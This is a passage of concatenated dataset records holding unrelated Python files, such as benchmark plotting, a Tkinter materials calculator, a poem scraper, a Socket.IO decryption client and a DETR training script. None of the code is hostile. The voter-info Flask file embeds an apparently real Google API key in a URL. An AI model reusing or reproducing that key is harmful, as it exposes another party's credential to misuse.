model_metadata[\"model_name\"],\n \"version\": model_metadata[\"model_version\"],\n}\n\ncurrent_stage_req = requests.get(f\"{worskpace_url}/api/2.0/mlflow/model-versions/get\", data=json.dumps(model_name_and_version), headers=headers)\ncurrent_stage = current_stage_req.json()[\"model_version\"][\"current_stage\"]\n\nif current_stage != \"None\":\n print(f\"Model stage is '{current_stage}' != 'None' which means no new model was created. Skipping transition to Staging.\")\n sys.exit()\n\n# transition staging model to prod\nnew_model_to_staging_data = {\n \"name\": model_metadata[\"model_name\"],\n \"version\": model_metadata[\"model_version\"],\n \"stage\": \"Staging\",\n \"archive_existing_versions\": \"False\",\n}\n\nnew_model_to_staging_req = requests.post(f\"{worskpace_url}/api/2.0/mlflow/model-versions/transition-stage\", data=json.dumps(new_model_to_staging_data), headers=headers)\nprint(\"Moved new model to staging\")\n","sub_path":"ci-cd-scripts/transition-new-model-to-staging.py","file_name":"transition-new-model-to-staging.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"218140394","text":"#!/usr/bin/python\n\n\"\"\"\ndate >> df.txt\ndf | sort | grep /dev/sd >> df.txt\n\nFri Apr 29 21:47:35 CDT 2016\n/dev/sda1 1922728752 263520744 1561515952 15% /media/Borg_LS\n/dev/sdb6 351784100 238139416 95752032 72% /\n/dev/sdb7 40185208 49036 38071788 1% /media/OSM040\n/dev/sdb8 71897424 24760156 43461980 37% /media/OSM070\n/dev/sdc1 302248384 64352 286807648 1% /media/OSM300\n/dev/sdc2 151058636 60872 143301380 1% /media/OSM150\n/dev/sdc3 201454560 60692 191137484 1% /media/OSM200\n/dev/sdc4 329221796 68304 312406948 1% /media/OSM325\n\n\"\"\"\n\nimport csv\nimport os\nfrom datetime import datetime\nfrom datetime import timedelta\n\nfrom matplotlib.dates import date2num\nimport matplotlib.pyplot as plt\n\n\ndef dstat_format_func(keys, x, st=None):\n if \"time\" in keys[1]:\n # 30-04 12:47:38\n assert st is not None\n dt = datetime.strptime(x, \"%d-%m %H:%M:%S\")\n dt = dt.replace(year=2016)\n dt = dt - st\n return dt.total_seconds()\n elif \"read\" in keys[1]:\n return float(x)/1024.0/1024.0\n elif \"writ\" in keys[1]:\n return float(x)/1024.0/1024.0\n elif \"swap\" in keys[0]:\n return float(x)/1024.0/1024.0/1024.0\n elif \"paging\" in keys[0]:\n return float(x)/1024.0/1024.0\n elif \"memory usage\" in keys[0]:\n if \"buff\" in keys[1]:\n return float(x)/1024.0/1024.0\n else:\n return float(x)/1024.0/1024.0/1024.0\n else:\n return float(x)\n\n\ndef read_osm2pgsql(filename):\n osm2pgsqldict = {}\n with open(filename) as csvfile:\n reader = csv.reader(csvfile, delimiter=',')\n row = reader.next()\n assert row[0].lower() == 'i_flag'\n has_parallel_indexing = row[1].lower() == 'true'\n row = reader.next()\n dt0 = datetime.strptime(row[1], \"%a %b %d %H:%M:%S %Z %Y\")\n osm2pgsqldict[row[0]] = dt0\n dt = dt0\n\n for _ in range(4):\n row = reader.next()\n dt += timedelta(seconds=float(row[1]))\n osm2pgsqldict[row[0]] = dt\n\n if has_parallel_indexing:\n for row in reader:\n dt += timedelta(seconds=float(row[1]))\n osm2pgsqldict[row[0]] = dt\n osm2pgsqldict.pop('result', None)\n else:\n temp_dict = {}\n for row in reader:\n if row[0].startswith('#'):\n continue\n temp_dict[row[0]] = float(row[1])\n osm2pgsqldict['result'] = dt0 + timedelta(seconds=temp_dict['result'])\n osm2pgsqldict['planet_osm_rels'] = osm2pgsqldict['result'] - timedelta(seconds=temp_dict['planet_osm_rels'])\n osm2pgsqldict['planet_osm_ways'] = osm2pgsqldict['planet_osm_rels'] - timedelta(seconds=temp_dict['planet_osm_ways'])\n return osm2pgsqldict\n\n\ndef read_df(filename, start_time):\n dfdict = {}\n startsize = -1\n with open(filename) as ifs:\n for line in ifs:\n line = line.strip()\n if line.startswith('/'):\n cols = line.split()\n\n if cols[0] not in dfdict:\n dfdict[cols[0]] = []\n\n if cols[5] == '/':\n if startsize < 0:\n startsize = float(cols[2])\n col = float(cols[2]) - startsize\n else:\n col = float(cols[2])\n\n dfdict[cols[0]].append(float(col)/1024.0/1024.0)\n else:\n dt = datetime.strptime(line, \"%a %b %d %H:%M:%S %Z %Y\")\n dt = dt - start_time\n if 'datetime' not in dfdict:\n dfdict['datetime'] = [dt.total_seconds()]\n else:\n dfdict['datetime'].append(dt.total_seconds())\n return dfdict\n\n\ndef read_du(filename, start_time):\n dudict = {}\n headers = []\n with open(filename) as csvfile:\n reader = csv.reader(csvfile, delimiter=',')\n header = reader.next()\n for h in header:\n if h != '':\n headers.append(h)\n dudict[h] = []\n for row in reader:\n for i, col in enumerate(row):\n if col != '':\n if headers[i] == 'time':\n dt = datetime.strptime(col, \"%a %b %d %H:%M:%S %Z %Y\")\n dt = dt - start_time\n dudict[headers[i]].append(dt.total_seconds())\n else:\n dudict[headers[i]].append(float(col)/1024.0/1024.0)\n return dudict\n\n\ndef read_dstat(filename, start_time):\n dstatdict = {}\n with open(filename) as csvfile:\n reader = csv.reader(csvfile, delimiter=',')\n\n # Skip the first five lines\n reader.next()\n reader.next()\n reader.next()\n reader.next()\n reader.next()\n\n # lines 6 and 7 contain the header information\n header0 = reader.next()\n header1 = reader.next()\n headers = []\n for i, (hh, h1) in enumerate(zip(header0, header1)):\n if hh != '':\n h0 = hh\n if h0 not in dstatdict:\n dstatdict[h0] = {}\n if h1 not in dstatdict[h0]:\n dstatdict[h0][h1] = []\n else:\n dstatdict[h0][h1] = []\n if h1 == \"time\":\n time_col = i\n headers.append([h0, h1])\n\n for row in reader:\n for i, col in enumerate(row):\n if i == time_col:\n dstatdict[headers[i][0]][headers[i][1]].append(dstat_format_func(headers[i], col, st=start_time))\n else:\n dstatdict[headers[i][0]][headers[i][1]].append(dstat_format_func(headers[i], col))\n return dstatdict\n\n\nrun_idx = 'benchmarks/f10'\n\nosm2pgsql_file = run_idx+'/osm2pgsql.txt'\nosm2pgsql_dict = read_osm2pgsql(osm2pgsql_file)\nstart_time = osm2pgsql_dict['Start time']\n\ndf_file = run_idx+'/df.txt'\nif os.path.exists(df_file):\n df_dict = read_df(df_file, start_time)\n # df_dates = date2num(df_dict['datetime'])\nelse:\n df_dict = None\n\ndu_file = run_idx+'/du.txt'\nif os.path.exists(du_file):\n du_dict = read_du(du_file, start_time)\n # du_dates = date2num(du_dict['time'])\nelse:\n du_dict = None\n\ndstat_file = run_idx+'/dstat.txt'\nif os.path.exists(dstat_file):\n dstat_dict = read_dstat(dstat_file, start_time)\n # dstat_dates = date2num(dstat_dict['system']['time'])\nelse:\n dstat_dict = None\n\nymaxs = [250, 500, 250, 250, 250, 128, 100, 25, 20]\nfig, ax = plt.subplots(len(ymaxs), sharex=True, figsize=(16, 10))\n\nif df_dict is not None:\n if 'dsk/sdb8' in dstat_dict:\n ax[0].plot(df_dict['datetime'], df_dict['/dev/sdb8'], 'r-', lw=1)\n ax[0].plot(df_dict['datetime'], df_dict['/dev/sdb6'], 'g-', lw=2)\n\nif dstat_dict is not None:\n if 'dsk/sdc1' in dstat_dict:\n ax[1].plot(dstat_dict['system']['time'], dstat_dict['dsk/sdc1']['writ'], 'y-')\n ax[1].plot(dstat_dict['system']['time'], dstat_dict['dsk/sdc1']['read'], 'b-')\nif df_dict is not None:\n if 'dsk/sdc1' in dstat_dict:\n ax[1].plot(df_dict['datetime'], df_dict['/dev/sdc1'], 'g-', lw=2)\nif du_dict is not None:\n ax[1].plot(du_dict['time'], du_dict['main_data'], 'k-', lw=2)\n\nif dstat_dict is not None:\n if 'dsk/sdc2' in dstat_dict:\n ax[2].plot(dstat_dict['system']['time'], dstat_dict['dsk/sdc2']['writ'], 'y-')\n ax[2].plot(dstat_dict['system']['time'], dstat_dict['dsk/sdc2']['read'], 'b-')\nif df_dict is not None:\n if 'dsk/sdc2' in dstat_dict:\n ax[2].plot(df_dict['datetime'], df_dict['/dev/sdc2'], 'g-', lw=2)\nif du_dict is not None:\n ax[2].plot(du_dict['time'], du_dict['main_index'], 'k-', lw=2)\n\nif dstat_dict is not None:\n if 'dsk/sdc3' in dstat_dict:\n ax[3].plot(dstat_dict['system']['time'], dstat_dict['dsk/sdc3']['writ'], 'y-')\n ax[3].plot(dstat_dict['system']['time'], dstat_dict['dsk/sdc3']['read'], 'b-')\nif df_dict is not None:\n if 'dsk/sdc3' in dstat_dict:\n ax[3].plot(df_dict['datetime'], df_dict['/dev/sdc3'], 'g-', lw=2)\nif du_dict is not None:\n ax[3].plot(du_dict['time'], du_dict['slim_data'], 'k-', lw=2)\n\nif dstat_dict is not None:\n if 'dsk/sdc4' in dstat_dict:\n ax[4].plot(dstat_dict['system']['time'], dstat_dict['dsk/sdc4']['writ'], 'y-')\n ax[4].plot(dstat_dict['system']['time'], dstat_dict['dsk/sdc4']['read'], 'b-')\nif df_dict is not None:\n if 'dsk/sdc4' in dstat_dict:\n ax[4].plot(df_dict['datetime'], df_dict['/dev/sdc4'], 'g-', lw=2)\nif du_dict is not None:\n ax[4].plot(du_dict['time'], du_dict['slim_index'], 'k-', lw=2)\n\nif dstat_dict is not None:\n ax[5].plot(dstat_dict['system']['time'], dstat_dict['memory usage']['used'], 'g-', lw=2)\n ax[5].plot(dstat_dict['system']['time'], dstat_dict['memory usage']['cach'], 'b-', lw=2)\n ax[5].plot(dstat_dict['system']['time'], dstat_dict['memory usage']['free'], 'k-', lw=2)\n\nif dstat_dict is not None:\n ax[6].plot(dstat_dict['system']['time'], dstat_dict['total cpu usage']['usr'], '-')\n ax[6].plot(dstat_dict['system']['time'], dstat_dict['total cpu usage']['sys'], '-')\n\nif dstat_dict is not None:\n if 'swap' in dstat_dict:\n ax[7].plot(dstat_dict['system']['time'], dstat_dict['swap']['used'], '-')\n\nif dstat_dict is not None:\n if 'paging' in dstat_dict:\n ax[8].plot(dstat_dict['system']['time'], dstat_dict['paging']['out'], 'r-')\n ax[8].plot(dstat_dict['system']['time'], dstat_dict['paging']['in'], 'b-')\n\n# ax[8].plot(dstat_dict['system']['time'], dstat_dict['memory usage']['buff'], '-')\n\n# ax[9].plot(dstat_dict['system']['time'], dstat_dict['total cpu usage']['wai'], '-', color='r')\n# ax[9].plot(dstat_dict['system']['time'], dstat_dict['total cpu usage']['hiq'], '-')\n# ax[9].plot(dstat_dict['system']['time'], dstat_dict['total cpu usage']['siq'], '-')\n\n# ax[10].plot(dstat_dict['system']['time'], dstat_dict['load avg']['1m'], '-')\n# ax[10].plot(dstat_dict['system']['time'], dstat_dict['load avg']['5m'], '-')\n# ax[10].plot(dstat_dict['system']['time'], dstat_dict['load avg']['15m'], '-')\n\nfor i, ymax in enumerate(ymaxs):\n for key, value in osm2pgsql_dict.iteritems():\n value = value - start_time\n ax[i].vlines(value.total_seconds(), 0, ymax, label=key)\n ax[i].set_ylim([0, ymax])\n ax[i].set_xlim([-300, 72000])\n\nfig.subplots_adjust(hspace=0)\nplt.setp([a.get_xticklabels() for a in fig.axes[:-1]], visible=False)\nplt.show()\n","sub_path":"osm_utils.py","file_name":"osm_utils.py","file_ext":"py","file_size_in_byte":10506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"586130199","text":"\"\"\"\nImplementation of Delta Learning Rule.\nDelta W = C * (Di - Oi) * f' * Xi\nNew Weight = Old Weight + Delta W\n\"\"\"\nimport numpy as np\n\nfrom .activation_functions import bipolar_sigmoid\nfrom .learning_rules import delta\n\n\ndef main(x: np.array, weight: np.array, const: float, d: np.array) -> np.array:\n print(f\"\\nWeight 1: {weight}\")\n\n for i, xi in enumerate(x):\n net = np.matmul(weight, xi)\n print(f\"Net {i+1}: {net}\")\n\n out = bipolar_sigmoid(net)\n print(f\"Out {i+1}: {out}\")\n\n weight += delta(d[i], out, xi, const)\n print(f\"\\nWeight {i + 2}: {weight}\")\n\n return weight\n\n\nif __name__ == \"__main__\":\n n = int(input(\"Enter number of 1D input vectors: \"))\n const = float(input(\"Enter value of constant: \"))\n\n if n > 1:\n x = np.array(\n [float(j) for j in input(f\"Enter elements in x1: \").split()],\n dtype=np.float,\n ) # input vector\n ln = len(x)\n\n for i in range(n - 1):\n xi = np.array(\n [\n float(j)\n for j in input(f\"Enter elements in x{i+2}: \").split()\n ],\n dtype=np.float,\n )\n x = np.vstack((x, xi))\n\n d = np.array(\n [\n float(j)\n for j in input(f\"Enter values for desired output di: \").split()\n ],\n dtype=np.float,\n ) # di vector\n\n w = np.array(\n [float(j) for j in input(f\"Enter initial weights: \").split()],\n dtype=np.float,\n )\n if len(w) != ln:\n print(\"... Using default weights\")\n w = np.zeros(ln)\n\n w = main(x, w, const, d)\n print(f\"\\nFinal weights are: {w}\")\n","sub_path":"Soft_Computing/delta_learning_rule.py","file_name":"delta_learning_rule.py","file_ext":"py","file_size_in_byte":1748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"520004800","text":"import tkinter as tk\nfrom tkinter import Label, Entry, IntVar, Button\nimport pages.start\n\nclass YieldPage(tk.Frame):\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n \n self.grid_columnconfigure(0, weight=1)\n self.grid_columnconfigure(1, weight=1)\n self.l_c = Label(self,text=\"Carbon in Wt%:\")\n self.l_rec_c = Label(self, text=\"Recommended:The range should lie within 0.05-0.07.\",wraplength=500)\n self.l_rec_f = Label(self, text=\"Ferrite recommended value in Wt%:\")\n self.l_rec_p = Label(self, text=\"Pearlite recommended value in Wt%:\")\n self.l_rec_mn=Label(self,text=\"Mangenese recommended value:\")\n self.l_gsize = Label(self, text=\"Grainsize dia in ASTM:\")\n self.l_s = Label(self, text=\"Sulphur in Wt%:\")\n self.l_si = Label(self, text=\"Silicon in Wt%:\")\n self.l_nf = Label(self,text=\"Nitrogen in Ferrite in Wt%\")\n main = Label(self, font=('25'), text=\"YIELD STRENGTH\", fg='blue', bg='lightblue')\n\n self.e_c = Entry(self, textvariable=IntVar())\n self.e_rec_f = Entry(self, textvariable=IntVar())\n self.e_rec_p = Entry(self, textvariable=IntVar())\n self.e_rec_mn = Entry(self, textvariable=IntVar())\n self.e_gsize = Entry(self, textvariable=IntVar())\n self.e_s = Entry(self, textvariable=IntVar())\n self.e_si = Entry(self, textvariable=IntVar())\n self.e_nf = Entry(self, textvariable=IntVar())\n\n main.grid(row=0, column=0, columnspan=2, pady=10, sticky='we')\n\n self.l_c.grid(row=2, column=0, sticky='e')\n self.l_rec_c.grid(row=1, column=0, columnspan=2)\n self.e_c.grid(row=2, column=1, padx=5, pady=5, sticky='w')\n \n tk.Button(self, text=\"Show Recommended Values\", command=self.enterRecValues) \\\n .grid(row=4, column=0, columnspan=2, padx=5,pady=5)\n\n self.l_rec_f.grid(row=5, column=0, sticky='e')\n self.e_rec_f.grid(row=5, column=1, padx=5, pady=5, sticky='w')\n\n self.l_rec_p.grid(row=6, column=0, sticky='e')\n self.e_rec_p.grid(row=6, column=1, padx=5, pady=5, sticky='w')\n\n self.l_rec_mn.grid(row=7, column=0, sticky='e')\n self.e_rec_mn.grid(row=7, column=1, padx=5, pady=5, sticky='w') \n\n self.l_gsize.grid(row=8, column=0, sticky='e')\n self.e_gsize.grid(row=8, column=1, padx=5, pady=5, sticky='w')\n\n self.l_s.grid(row=9, column=0, sticky='e')\n self.e_s.grid(row=9, column=1, padx=5, pady=5, sticky='w')\n\n self.l_si.grid(row=10, column=0, sticky='e')\n self.e_si.grid(row=10, column=1, padx=5, pady=5, sticky='w')\n\n self.l_nf.grid(row=11, column=0, sticky='e')\n self.e_nf.grid(row=11, column=1, padx=5, pady=5, sticky='w')\n\n self.labelText = Label(self, text=\"Yield strength =\")\n self.labelText.grid(row=12, column=0, sticky='e')\n\n self.Yield = Entry(self)\n self.Yield.grid(row=12, column=1, padx=5, pady=5, sticky='w')\n \n bt = Button(self, text=\"CALCULATE\", command=self.textEntries)\n bt.grid(row=13, column=0, columnspan=2, padx=10, pady=10)\n\n button1 = tk.Button(self, text=\"Back to Home\",\n command=lambda: controller.show_frame(pages.start.StartPage))\n button1.grid(row=14, column=0, columnspan=2, padx=10, pady=10)\n\n def enterRecValues(self): # shows recommended amounts on the basis of carbon content entered by the user\n carbon = float(self.e_c.get())\n ferrite=(0.8-carbon)/(0.78)*100\n\n self.e_rec_f.delete(0,\"end\") # clears previous value(if any) from the bar\n self.e_rec_f.insert(0,ferrite)# inserts new value\n\n mn = (0.35-carbon)*6\n\n self.e_rec_mn.delete(0,\"end\")\n self.e_rec_mn.insert(0,mn)\n\n self.e_rec_p.delete(0,\"end\")\n self.e_rec_p.insert(0,100-ferrite)\n \n def textEntries(self): # takes the values entered by the user\n carbon = float(self.e_c.get())\n ferrite=(0.8-carbon)/(0.78)*100\n mn = (0.35-carbon)*6\n grainsize=float(self.e_gsize.get())\n sulphur=float(self.e_s.get())\n silicon=float(self.e_si.get())\n nf=float(self.e_nf.get())\n\n pearlite=100-ferrite\n x=ferrite/100\n\n result = None\n try:\n yieldst=x**(0.33)*(35+58*(mn)+17.4*(1.0/(grainsize**(0.5))))+(1-x**0.33)*(178+3.8*(1.0/(sulphur**(0.5))))+63*(silicon)+425*nf\n except ZeroDivisionError:\n result = 'div by 0 exception!'\n else:\n result = yieldst\n \n self.Yield.delete(0,\"end\") \n self.Yield.insert(0, result)\n \n #def check_entry(\n","sub_path":"pages/yieldst.py","file_name":"yieldst.py","file_ext":"py","file_size_in_byte":4674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"647191155","text":"import http.server\n\nclass Main(object):\n def __init__(self):\n self.port = 8000\n self.handler = http.server.CGIHTTPRequestHandler\n self.httpd = http.server.HTTPServer((\"\",self.port),self.handler)\n\n def run(self):\n print(\"servering at port\", self.port)\n self.httpd.serve_forever()\n\nm = Main()\nm.run()\n","sub_path":"intro_python/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"16424864","text":"#-*- coding:utf-8 -*-\n\nimport re\nimport requests\nfrom HTMLParser import HTMLParser\n\nimport sqlite3\n\n\nimport sys \nreload(sys) \nsys.setdefaultencoding('utf8')\n\ndef _attr(attrs,attrname):\n\tfor attr in attrs:\n\t\tif attr[0]==attrname:\n\t\t\treturn attr[1]\n\treturn None\n\nclass PoemParser(HTMLParser):\n\t\"\"\"docstring for PoemParser\"\"\"\n\t# def __init__(self, arg):\n\t\t# super(PoemParser, self).__init__()\n\t\t# self.arg = arg\n\tdef __init__(self):\n\t\tHTMLParser.__init__(self)\n\t\tself.tangshi_list=[]\n\t\t#insert code\n\t\t# pass\n\t\tself.in_div=False\n\t\tself.in_a=False\n\t\tself.pattern=re.compile(r'''\n\t\t\t\t\t\t(.+) #匹配标题 group(1)\n\t\t\t\t\t\t\\(\t\t#匹配作者左边的括号 \n\t\t\t\t\t\t(.+) #匹配标题 group(2)\n\t\t\t\t\t\t\\)\t\t#匹配作者右边的括号\t\n\t\t\t\t\t\t''', re.VERBOSE)\n\t\tself.current_poem={}\n\n\n\n\tdef handle_starttag(self,tag,attrs):\n\t\t# pass\n\t\tif tag=='div' and _attr(attrs, 'class')=='guwencont2':\n\t\t\tself.in_div=True\n\n\t\tif self.in_div and tag=='a':\n\t\t\tself.in_a=True\n\t\t\tself.current_poem['url']='http://www.gushiwen.org'+_attr(attrs, 'href')\n\n\n\tdef handle_endtag(self,tag):\n\t\t# pass\n\t\tif tag=='a':\n\t\t\tself.in_a=False\n\n\t\tif tag=='div':\n\t\t\tself.in_div=False\n\n\n\tdef handle_data(self,data):\n\t\t# pass\n\t\tif self.in_a:\n\t\t\t# print (data)\n\t\t\tm=self.pattern.match(data)\n\t\t\tif m:\n\t\t\t\tself.current_poem['title']=m.group(1)\n\t\t\t\tself.current_poem['author']=m.group(2)\n\t\t\t\tself.tangshi_list.append(self.current_poem)\n\t\t\t\tself.current_poem={}\n\n\n\ndef retrive_tangshi_300():\n\turl='http://www.gushiwen.org/gushi/tangshi.aspx'\n\tr=requests.get(url)\n\tp=PoemParser()\n\tp.feed(r.content)\n\treturn p.tangshi_list\n\n\nclass PoemContentParser(HTMLParser):\n\tdef __init__(self):\n\t\tHTMLParser.__init__(self)\n\t\tself.content=[]\n\t\tself.in_p=False\n\n\tdef handle_starttag(self,tag,attrs):\n\t\t# pass\n\t\tif tag=='p' and _attr(attrs, 'align')=='center':\n\t\t\tself.in_p=True\n\n\tdef handle_endtag(self,tag):\n\t\t# pass\n\t\tif tag=='p':\n\t\t\tself.in_p=False\n\n\tdef handle_data(self,data):\n\t\t# pass\n\t\tif self.in_p:\n\t\t\tself.content.append(data)\n\n\ndef down_loadpoem(poem):\n\turl=poem['url']\n\tr=requests.get(url)\n\tp=PoemContentParser()\n\tp.feed(r.content)\n\tpoem['content']='\\n'.join(p.content)\n\n# 例外的情况处理\n#空白符whitespace\ndef trim_ws(s):\n\t# pass\n\tc=re.sub(r'\\s+', '', s)\n\t# c=c.replace(',', '\\n')\n\t# c=c.replace('。', '\\n')\n\tdef _add_crlf(m):\n\t\t# print m.group()\n\t\treturn m.group()+'\\n'\n\tc=re.sub(r',|。', _add_crlf, c)\n\treturn c\ndef trim_href(s):\n\t# pass\n\tc=s.replace('
', '')\n\talt=re.search(r'alt\\s*=\\s*\\\"(.*?)\\\"', c,re.IGNORECASE)\n\tc=re.sub(r'', alt.group(1), c)\n\tc=trim_ws(c)\n\treturn c\n\ndef trim_test():\n s = \"\"\"月落乌啼霜满天,江枫渔火对愁眠。\n 姑苏城外\n 寒山\n 寺,夜半钟声到客船。\"\"\"\n print(trim_ws(s))\n\n s = \"\"\"\n 凉风起天末,君子意如何。
\n 鸿雁几时到,江湖秋水多。
\n 文章憎命达,魑魅喜人过。
\n 应共冤魂语,投\"诗\"\n 赠汨罗。\"\"\"\n print(trim_href(s))\n\n\nif __name__=='__main__':\n\t# l=retrive_tangshi_300()\n\t# print ('totoal %d poems.' %len(l))\n\t# for i in range(10):\n\t# \tprint ('标题: %(title)s\\t 作者: %(author)s\\t URL:%(url)s' %(l[i]))\n\n\t# conn=sqlite3.connect('tangshi.sqlite')\n\t# cur=conn.cursor()\n\t# conn.text_factory = str\n\t# cur.executescript('''\n\t# \t\tdrop table if exists tangshi;\n\t# \t\tcreate table tangshi (\n\t# \t\tid integer not null primary key autoincrement unique,\n\t# \t\ttitle text,\n\t# \t\tauthor text,\n\t# \t\turl text unique\n\t# \t\t);\n\t# \t''')\n\t# for i in l:\n\t# \tcur.execute('''\n\t# \t\tinsert into tangshi (title,author,url) values (?,?,?)''',\n\t# \t\t(i['title'],i['author'],i['url']))\n\t# \tconn.commit()\n\t# conn.close()\n\t# for i in range(10):\n\t# \tprint ('#%d downloading poem from: %s' %(i,l[i]['url']))\n\t# \tdown_loadpoem(l[i])\n\t# \tprint('标题: %(title)s\\t 作者: %(author)s\\t URL:%(url)s\\t %(content)s' %(l[i]))\n\ttrim_test()\n\n\n","sub_path":"tangshi.py","file_name":"tangshi.py","file_ext":"py","file_size_in_byte":4053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"650965854","text":"#developer Daniel Zambrano\r\nimport os\r\nfrom random import randint\r\n\r\n\r\ndef main():\r\n global players,box\r\n players = randint(2,4)\r\n print(\"number of players\", players)\r\n level = randint(1,3)\r\n if level == 1:\r\n box = 20\r\n elif level == 2:\r\n box = 30\r\n else :\r\n box = 40\r\n print(\"Level:\", level)\r\n print(\"you have to reach:\", box)\r\n\r\n#aqui los dados generean aleatoriamente un numero\r\n\r\ndef start():\r\n status = True\r\n i = 1\r\n while status :\r\n os.system(\"cls\")\r\n print(\"press any key to player\",i)\r\n KEY = ()\r\n D1 = randint(1,6)\r\n D2 = randint(1,6)\r\n T = D1+D2\r\n print(\"Dado1:\", D1)\r\n print(\"Dado2:\", D2)\r\n print(\"Total:\",T)\r\n i = i + 1\r\n if i == players+1 :\r\n i = 1\r\n KEY = input(\"press any key to pass the turn\")\r\n N= T + T #este hace que se sumen los totales\r\n if N != box :\r\n N += T\r\n elif N == box:\r\n print(\"you win\")\r\n \r\n\r\n \r\n\r\n#comienzo\r\nos.system (\"cls\")\r\nprint(\"BIENVENIDO\")\r\nKEY = input(\"press any key to star the game\")\r\nmain()\r\nKEY = input(\"press any key to continius\")\r\nstart()\r\nKEY = input(\"press any key to start the game again\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"evaluacion.py","file_name":"evaluacion.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"355154709","text":"\"\"\"REST API for voter info.\"\"\"\r\nimport flask\r\nimport votenow\r\nimport requests\r\n\r\n\r\n@votenow.app.route('/api/v1/voterinfo/',\r\n methods=[\"GET\"])\r\ndef get_voter_info():\r\n \"\"\"Return voter information on address.\"\"\"\r\n\r\n context = {}\r\n address = flask.request.args.get('address')\r\n\r\n # URL\r\n url = \"https://www.googleapis.com/civicinfo/v2/voterinfo\"\r\n url += \"?key=AIzaSyAY9DEXPtO4qJJRzGTun12HnpQ0dS8z8V8\"\r\n url += \"&address=\"\r\n url += address\r\n\r\n r = requests.get(url)\r\n\r\n context = r.json()\r\n\r\n return flask.jsonify(**context)\r\n","sub_path":"votenow/api/info.py","file_name":"info.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"54945088","text":"from socketIO_client_nexus import SocketIO, BaseNamespace\nfrom Crypto.Hash import MD5\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import unpad, pad\nfrom base64 import b64decode, b64encode\nfrom Crypto.Random import get_random_bytes\nimport json\n\n\ndef decryption(payload):\n # print('welcome received', data)\n # payloadSlice = data.split(\"*\")\n resp = []\n try:\n for data in payload:\n decrypted = str(\n decrypt(data[\"data1\"], data[\"iv\"], data[\"apiKey\"]), \"utf8\")\n jsonPayload = json.loads(decrypted)\n jsonPayload[\"deviceId\"] = data['deviceId']\n jsonPayload[\"localAddress\"] = data['localAddress']\n print(jsonPayload)\n resp.append(jsonPayload)\n except Exception:\n decrypted = {\"error\": \"decryption error\"}\n resp.append(decrypted)\n\n socketIO.emit(\"generic_event\", {\n \"event\": \"decryption_done\",\n \"payload\": resp\n })\n\n\ndef keep_alive(data):\n socketIO.emit(\"generic_event\", alive_payload)\n\n\ndef debug(data):\n print(data)\n socketIO.emit(\"debug_receive\", data)\n\n\ndef decrypt(data_element, iv, api_key):\n\n api_key = bytes(api_key, \"utf-8\")\n encoded = data_element\n\n hash = MD5.new()\n hash.update(api_key)\n key = hash.digest()\n\n cipher = AES.new(key, AES.MODE_CBC, iv=b64decode(iv))\n ciphertext = b64decode(encoded)\n padded = cipher.decrypt(ciphertext)\n plaintext = unpad(padded, AES.block_size)\n\n return plaintext\n\n\nsocketIO = SocketIO('http://localhost:7878', verify=True,\n wait_for_connection=True)\nalive_payload = {\"event\": \"gateway_status\", \"payload\": {\n \"client\": \"asdfas\",\n \"status\": \"alive\",\n \"broadcastFunction\": \"decrypt\"\n}\n}\nsocketIO.on('decrypt', decryption)\nsocketIO.on('alive', keep_alive)\nsocketIO.on('debug', debug)\nsocketIO.wait()\n","sub_path":"app/socketIOClient.py","file_name":"socketIOClient.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"62328208","text":"# add detr\nimport sys\nsys.path.append(\"/root/ProgProjekte/detr\")\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\n\nfrom fastai import *\nfrom fastai.vision import *\n\nfrom object_detection_fastai.callbacks.callbacks import BBMetrics, PascalVOCMetric, PascalVOCMetricDETR\nfrom pathlib import Path\n\nfrom object_detection_fastai.loss.DetrCriterion import SetCriterionFastAi \nfrom object_detection_fastai.models.Detr import DETRFastAi\n\nfrom models.matcher import HungarianMatcher\n\n\naux_loss = False\nset_cost_class = 1\nset_cost_bbox = 5\nset_cost_giou = 2\neos_coef = 0.1\nnum_classes = 6\n\n\n\nbody = create_body(models.resnet18, True, -2)\nmodel = DETRFastAi(body, num_classes=num_classes, aux_loss=aux_loss)\n\n\nlosses = ['labels', 'boxes', 'cardinality']\nweight_dict = {'loss_ce': 1, 'loss_bbox': set_cost_bbox, 'loss_giou': set_cost_giou}\nmatcher = HungarianMatcher(cost_class=set_cost_class, cost_bbox=set_cost_bbox, cost_giou=set_cost_giou)\n\ncrit = SetCriterionFastAi(num_classes, matcher=matcher, weight_dict=weight_dict,\n eos_coef=eos_coef, losses=losses)\n\n\nsize = 128\ncoco = untar_data(URLs.COCO_TINY)\nimages, lbl_bbox = get_annotations(coco/'train.json') #'annotations/train_sample.json'\nimg2bbox = dict(zip(images, lbl_bbox))\nget_y_func = lambda o:img2bbox[o.name]\n\ndata = (ObjectItemList.from_folder(coco)\n #Where are the images? -> in coco\n .random_split_by_pct()\n #How to split in train/valid? -> randomly with the default 20% in valid\n .label_from_func(get_y_func)\n #How to find the labels? -> use get_y_func\n .transform(get_transforms(), tfm_y=True, size=size)\n #Data augmentation? -> Standard transforms with tfm_y=True\n .databunch(bs=16, collate_fn=bb_pad_collate)) #, num_workers=1\n #Finally we convert to a DataBunch and we use bb_pad_collate\n\n\nlearn = Learner(data, model, loss_func=crit, callback_fns=[ShowGraph, BBMetrics]) #,metrics=[voc]\n\nlearn.fit_one_cycle(3, 